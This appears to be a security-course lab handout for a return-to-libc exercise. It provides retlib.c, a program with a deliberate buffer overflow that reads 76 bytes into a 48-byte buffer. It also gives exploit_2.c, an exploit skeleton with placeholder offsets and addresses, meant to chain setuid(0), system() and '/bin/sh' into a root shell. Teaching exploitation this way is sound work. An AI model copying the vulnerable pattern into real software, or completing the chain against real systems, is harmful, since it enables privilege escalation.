Important note: You must use the following retlib.c and exploit_2.c files to complete the assignment, and not the programs in the document above; otherwise, no credit will be given. You also need to read sections 3.1 and 3.2 to complete the assignment.

retlib.c

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
        char buffer[48];
        /* The following statement has a buffer overflow problem */
        fread(buffer, sizeof(char), 76, badfile);
        return 1;
}

int main(int argc, char **argv)
{
        FILE *badfile;
        badfile = fopen("badfile", "r");
        bof(badfile);
        printf("Returned Properly\n");
        fclose(badfile);
        return 1;
}
```

exploit_2.c

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>


int main(int argc, char ** argv)
{
  char buf[76];
  FILE *badfile;

  badfile = fopen("badfile", "w");
  *(long *) &buf[W] = some address; // system()
  *(long *) &buf[X] = some address; // address of "/bin/sh"
  *(long *) &buf[Y] = some address; // setuid()
  *(long *) &buf[Z] = 0; // parameter for setuid()

  fwrite(buf, sizeof(buf), 1, badfile);
  fclose(badfile);
}
```